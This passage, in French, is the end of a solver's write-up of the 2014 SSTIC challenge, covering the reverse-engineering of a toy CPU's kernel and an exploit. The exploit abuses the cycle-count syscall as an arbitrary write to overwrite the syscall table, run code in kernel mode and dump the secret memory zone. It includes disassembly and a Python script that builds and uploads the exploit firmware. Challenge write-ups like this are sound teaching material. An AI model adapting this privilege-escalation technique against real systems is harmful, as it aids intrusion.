89                 print "%s TODO unknown opcode !" % self.parse(0)
90
91 if __name__ == '__main__':
92     d = Disass("fw.bin")
93     # d = Disass("kernel.bin", ip=0xFD00)
```

3.3 Firmware d'origine

Le firmware d'origine n'est pas très intéressant. Il sert principalement à donner un exemple de code valide, à montrer quels syscalls sont disponibles, et à citer le film *Hackers* de 1995, que j'avais aimé à l'époque (je devais avoir 10 ans) mais que je préfère éviter de revoir, maintenant que je fais un peu de sécurité informatique :).

J'ai ensuite écrit plusieurs firmwares pour tenter d'accéder à la zone de mémoire secrète, mais évidemment, les méthodes triviales ne fonctionnent pas. Quand on affiche la zone en question à l'aide du "printf" fourni, on obtient le message d'erreur suivant :

```
[ERROR] Printing at unallowed address. CPU halted.
```

Quand on essaye de lire directement les octets de la zone secrète avec l'instruction **ldr**, on se fait insulter car on est en mode user et pas en mode kernel. Il faut donc trouver une vulnérabilité qui permettra d'exécuter du code arbitraire en mode kernel.

Pour trouver la vulnérabilité, on a accès à quatre syscalls :
- 00 : reset
- 01 : exit
- 02 : printf
- 03 : count_CPU_cycles

J'ai évidemment tenté de bruteforcer tous les identifiants pour trouver d'autres syscalls, mais seuls ces quatre ci sont disponibles. La vulnérabilité se trouve dans le syscall 03 qui compte le nombre de cycles du CPU. En effet, la fonction prend comme paramètre une adresse à laquelle elle écrira le nombre de cycles. Le problème est qu'il est possible de choisir cette adresse arbitrairement et d'écrire en mode kernel à l'endroit que l'on désire. Il est également possible d'écrire la valeur que l'on souhaite, pour ce faire il suffit d'exécuter le bon nombre d'instructions (par exemple avec une boucle for) avant d'appeler ce syscall. Ça n'est donc pas très pratique, mais nous voici avec dans les mains une écriture arbitraire.

On est désormais capable d'écrire n'importe où, mais pas de lire n'importe où. D'habitude c'est plutôt l'inverse. La question, c'est où faut-il écrire afin de pouvoir exécuter du code arbitraire en mode kernel ? J'ai looooooooonguement tenté d'écrire dans la zone mémoire des registres, pour essayer de provoquer les effets souhaités, mais toujours en vain. Au bout de plusieurs jours de réflexion, j'en suis arrivé à la conclusion qu'il n'était pas possible de finir cette épreuve sans avoir le code du kernel, et qu'il devait donc y avoir un moyen de le dumper.

3.4 Dump du kernel

Hum. J'ai peur. Le kernel est situé dans la ROM, qui est une zone privilégiée. On ne peut pas y accéder avec des instructions en mode user. Mais... non... ne me dites pas qu'on peut tout simplement printf le kernel ? Ah. Ben si :/ Gggrr, pourquoi je ne l'ai pas vu plus tôt ! J'ai cru à tort que le message "*[ERROR] Printing at unallowed address. CPU halted*" nous spécifiait qu'il était interdit d'afficher des zones privilégiées, alors qu'en fait seule la zone secrète est interdite.

Une fois le kernel dumpé et désassemblé, l'épreuve a pu être terminée rapidement.

```
0xfd00  5000  and r0, r0, r0
0xfd02  A06C  jmpif 0xfd70 flag=0x0
0xfd04  2100  mov h1, 0x00
0xfd06  1103  mov l1, 0x03
0xfd08  7210  sub r2, r1, r0
0xfd0a  A812  jmpif 0xfd1e flag=0x8
0xfd0c  2200  mov h2, 0x00
0xfd0e  1202  mov l2, 0x02
0xfd10  8102  mul r1, r0, r2
0xfd12  7112  sub r1, r1, r2
0xfd14  20F0  mov h0, 0xF0
0xfd16  1000  mov l0, 0x00
0xfd18  6001  add r0, r0, r1
0xfd1a  C094  call 0xfdb0
0xfd1c  D000  TODO unknown opcode !
0xfd1e  2100  mov h1, 0x00
0xfd20  112B  mov l1, 0x2B
0xfd22  20FE  mov h0, 0xFE
0xfd24  105A  mov l0, 0x5A
0xfd26  C0BE  call 0xfde6
0xfd28  3000  xor r0, r0, r0
0xfd2a  21FC  mov h1, 0xFC
0xfd2c  1110  mov l1, 0x10
0xfd2e  2200  mov h2, 0x00
0xfd30  1201  mov l2, 0x01
0xfd32  F210  str r2, [r1, r0]
0xfd34  B3F2  jmp 0xfd28 flag=0x3
0xfd36  20FC  mov h0, 0xFC
0xfd38  1022  mov l0, 0x22
0xfd3a  C074  call 0xfdb0
0xfd3c  5500  and r5, r0, r0
0xfd3e  20FC  mov h0, 0xFC
0xfd40  1020  mov l0, 0x20
0xfd42  C06C  call 0xfdb0
0xfd44  5155  and r1, r5, r5
0xfd46  C09E  call 0xfde6
0xfd48  D800  kernel syscall 00
0xfd4a  20FC  mov h0, 0xFC
0xfd4c  1020  mov l0, 0x20
0xfd4e  C060  call 0xfdb0
0xfd50  26FC  mov h6, 0xFC
0xfd52  1612  mov l6, 0x12
0xfd54  2100  mov h1, 0x00
0xfd56  1101  mov l1, 0x01
0xfd58  3444  xor r4, r4, r4
0xfd5a  E561  ldr r5, [r6, r1]
0xfd5c  E264  ldr r2, [r6, r4]
0xfd5e  E364  ldr r3, [r6, r4]
0xfd60  7332  sub r3, r3, r2
0xfd62  A7F6  jmpif 0xfd5a flag=0x7
0xfd64  2301  mov h3, 0x01
0xfd66  1300  mov l3, 0x00
0xfd68  8223  mul r2, r2, r3
0xfd6a  4125  or  r1, r2, r5
0xfd6c  C056  call 0xfdc4
0xfd6e  D800  kernel syscall 00

0xfd70  2100  mov h1, 0x00
0xfd72  110E  mov l1, 0x0E
0xfd74  20FE  mov h0, 0xFE
0xfd76  1086  mov l0, 0x86
0xfd78  C06C  call 0xfde6
0xfd7a  2400  mov h4, 0x00
0xfd7c  1402  mov l4, 0x02
0xfd7e  21FD  mov h1, 0xFD
0xfd80  1128  mov l1, 0x28
0xfd82  20F0  mov h0, 0xF0
0xfd84  1000  mov l0, 0x00
0xfd86  C03C  call 0xfdc4
```

```
0xfd88  6004  add r0, r0, r4
0xfd8a  21FD  mov h1, 0xFD
0xfd8c  1136  mov l1, 0x36
0xfd8e  C034  call 0xfdc4
0xfd90  6004  add r0, r0, r4
0xfd92  21FD  mov h1, 0xFD
0xfd94  114A  mov l1, 0x4A
0xfd96  C02C  call 0xfdc4
0xfd98  20FC  mov h0, 0xFC
0xfd9a  1020  mov l0, 0x20
0xfd9c  3111  xor r1, r1, r1
0xfd9e  2200  mov h2, 0x00
0xfda0  1236  mov l2, 0x36
0xfda2  C032  call 0xfdd6
0xfda4  20FC  mov h0, 0xFC
0xfda6  103A  mov l0, 0x3A
0xfda8  21EF  mov h1, 0xEF
0xfdaa  11FE  mov l1, 0xFE
0xfdac  C016  call 0xfdc4
0xfdae  D800  kernel syscall 00

0xfdb0  2100  mov h1, 0x00
0xfdb2  1101  mov l1, 0x01
0xfdb4  2201  mov h2, 0x01
0xfdb6  1200  mov l2, 0x00
0xfdb8  E301  ldr r3, [r0, r1]
0xfdba  7111  sub r1, r1, r1
0xfdbc  E401  ldr r4, [r0, r1]
0xfdbe  8442  mul r4, r4, r2
0xfdc0  4034  or  r0, r3, r4
0xfdc2  D00F  ret

0xfdc4  2200  mov h2, 0x00
0xfdc6  1201  mov l2, 0x01
0xfdc8  2301  mov h3, 0x01
0xfdca  1300  mov l3, 0x00
0xfdcc  F102  str r1, [r0, r2]
0xfdce  7222  sub r2, r2, r2
0xfdd0  9113  div r1, r1, r3
0xfdd2  F102  str r1, [r0, r2]
0xfdd4  D00F  ret

0xfdd6  2300  mov h3, 0x00
0xfdd8  1301  mov l3, 0x01
0xfdda  5222  and r2, r2, r2
0xfddc  A006  jmpif 0xfde4 flag=0x0
0xfdde  7223  sub r2, r2, r3
0xfde0  F102  str r1, [r0, r2]
0xfde2  B3F2  jmp 0xfdd6 flag=0x3
0xfde4  D00F  ret

0xfde6  5E00  and r14, r0, r0
0xfde8  2DFC  mov h13, 0xFC
0xfdea  1D00  mov l13, 0x00
0xfdec  2CF0  mov h12, 0xF0
0xfdee  1C00  mov l12, 0x00
0xfdf0  3888  xor r8, r8, r8
0xfdf2  5988  and r9, r8, r8
0xfdf4  2A00  mov h10, 0x00
0xfdf6  1A01  mov l10, 0x01
0xfdf8  3BBB  xor r11, r11, r11
0xfdfa  5111  and r1, r1, r1
0xfdfc  A01A  jmpif 0xfe18 flag=0x0
0xfdfe  69E8  add r9, r14, r8
0xfe00  799C  sub r9, r9, r12
0xfe02  A808  jmpif 0xfe0c flag=0x8
0xfe04  69E8  add r9, r14, r8
0xfe06  799D  sub r9, r9, r13
0xfe08  AC02  jmpif 0xfe0c flag=0xC
0xfe0a  B00E  jmp 0xfe1a flag=0x0
0xfe0c  3999  xor r9, r9, r9
```

```
0xfe0e  E9E8  ldr r9, [r14, r8]
0xfe10  F9DB  str r9, [r13, r11]
0xfe12  688A  add r8, r8, r10
0xfe14  711A  sub r1, r1, r10
0xfe16  B3E2  jmp 0xfdfa flag=0x3
0xfe18  D00F  ret

0xfe1a  2100  mov h1, 0x00
0xfe1c  1133  mov l1, 0x33
0xfe1e  20FE  mov h0, 0xFE
0xfe20  1026  mov l0, 0x26
0xfe22  C3C2  call 0x101e6
0xfe24  B302  jmp 0xfe28 flag=0x3

[...]
(Strings)
```

Le code du kernel s'occupe de prendre en charge les différents syscalls. Il est d'abord vérifié que l'identifiant du syscall demandé n'est pas supérieur à trois, puis l'adresse de ce syscall est lue dans un tableau situé au début de la zone secrète, avant de sauter vers cette adresse. Bingo. Si l'on écrase une des entrées de cette table à l'aide de la vulnérabilité du compteur de cycle, il sera possible de sauter vers du code arbitraire stocké en espace non-privilégié, sans quitter le mode kernel. Pour l'exploitation, j'avais d'abord voulu m'arranger pour que le bon nombre de cycle CPU soit exécuté afin de sauter vers une adresse préalablement choisie, mais finalement j'ai trouvé plus simple de demander le nombre de cycle minimal et de créer un firmware qui fasse juste la bonne taille pour contenir le code à l'adresse correspondante. Voici le code de mon exploitation

```python
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, __builtin__

def hex(s, length=None):
    h = __builtin__.hex(s)
    if length is None:
        return h
    return h[2:].strip("L").rjust(length, "0")

def checksum(x):
    s = sum(ord(c) for c in x.decode("hex")) % 0x100
    return chr((0x100-s) & 0xff).encode("hex").upper()

def format_firmware(asm):
    r = []
    i = 0
    while asm:
        l = asm[:32]
        line = "%s%s000%s" % (hex(len(l)/2,2).upper(), hex(i,3).upper(), l.upper())
        line = ":%s%s" % (line, checksum(line))
        r.append(line)
        i += 1
        asm = asm[32:]
    r.append(":00000001FF")
    return "\n".join(r)


import subprocess
asm = ("""
20F0
1000
```

```
C803
C801
""" + "0000" * 988 + """
20F0
1000
2130
1100
220D
1200
2300
1301
3444
E504
F514
6443
7223
AFF6
2030
1000
210D
1100
C802
""").replace("\n", "")
with open("fw.hex", "wb") as f:
    f.write(format_firmware(asm))
subprocess.call(["python3",  "upload.py"])
```

Et comme je suis très sympa, voici le code assembleur de mon firmware-exploit

```
0x0000  20F0  mov h0, 0xF0
0x0002  1000  mov l0, 0x00
0x0004  C803  syscall 3 (count CPU cycles)
0x0006  C801  syscall 1 (exit)
0x0008  0000
0x000a  0000
[...]
0x07bc  0000
0x07be  0000
0x07c0  20F0  mov h0, 0xF0
0x07c2  1000  mov l0, 0x00
0x07c4  2130  mov h1, 0x30
0x07c6  1100  mov l1, 0x00
0x07c8  220D  mov h2, 0x0D
0x07ca  1200  mov l2, 0x00
0x07cc  2300  mov h3, 0x00
0x07ce  1301  mov l3, 0x01
0x07d0  3444  xor r4, r4, r4
0x07d2  E504  ldr r5, [r0, r4]
0x07d4  F514  str r5, [r1, r4]
0x07d6  6443  add r4, r4, r3
0x07d8  7223  sub r2, r2, r3
0x07da  AFF6  jmpif 0x7d2 flag=0xF
0x07dc  2030  mov h0, 0x30
0x07de  1000  mov l0, 0x00
0x07e0  210D  mov h1, 0x0D
0x07e2  1100  mov l1, 0x00
0x07e4  C802  syscall 2 (printf)
```

On écrase l'adresse du syscall 1 avec la valeur du nombre de cycle CPU, qui vaudra ici 0x7c0. Puis on appelle le syscall 1, ce qui permet d'exécuter notre code en 0x7c0 en mode kernel. Ce code lit les octets de la zone secrète et les recopie dans une zone non privilégiée (0x3000). Enfin, on appelle le printf avec l'adresse 0x3000 en paramètre. On obtient de gros blocs de données au milieu desquels sont incrustés des chaînes très DOGE, ainsi que

l'adresse email de validation du challenge

```
  WOW
   SUCH EXPLOIT
    VERY CHALLENGING
   SO OPERATIONAL
  MUCH WIN
<66a65dc050ec0c84cf1dd5b3bbb75c8c@challenge.sstic.org>
```

4 Conclusion

Cette édition 2014 du challenge SSTIC était vraiment excellente. J'ai été lent, mais j'ai appris beaucoup de choses et j'ai pris du plaisir à résoudre chacune des épreuves. La première était toute simple mais il fallait y penser, la deuxième était vraiment difficile et la troisième était moins complexe mais très originale. Je suis un peu déçu d'avoir dû rédiger ce rapport autant *à l'arrache* alors que j'ai passé tellement d'heures sur le challenge, mais ainsi va la vie. Pour toute remarque, commentaire ou insulte, n'hésitez surtout pas à me contacter à l'adresse suivante [14] :

```
:1000000020421042210011122200122E53113444BA
:1000100025001501665567656876698873367336FD
:10002000F203622962286227733773377337F203622969
:1000300062296229622752388F20383366335F2030B
:100040006225535 5F203622553888337F2036226F3
:100050009338F203622663386335F20362265366EF
:10006000F2038337F2038336F20362276335F20328
:1000700062255388633 6F2036337F20363386336CD
:10008000F203622553887335F20362258336833683
:0A009000F2036225F204C802C80161
:00000001FF
```

Merci pour tout et à l'année prochaine !

14. encodée au format *firmware* pour éviter les vilains robots spammeurs. Muahahah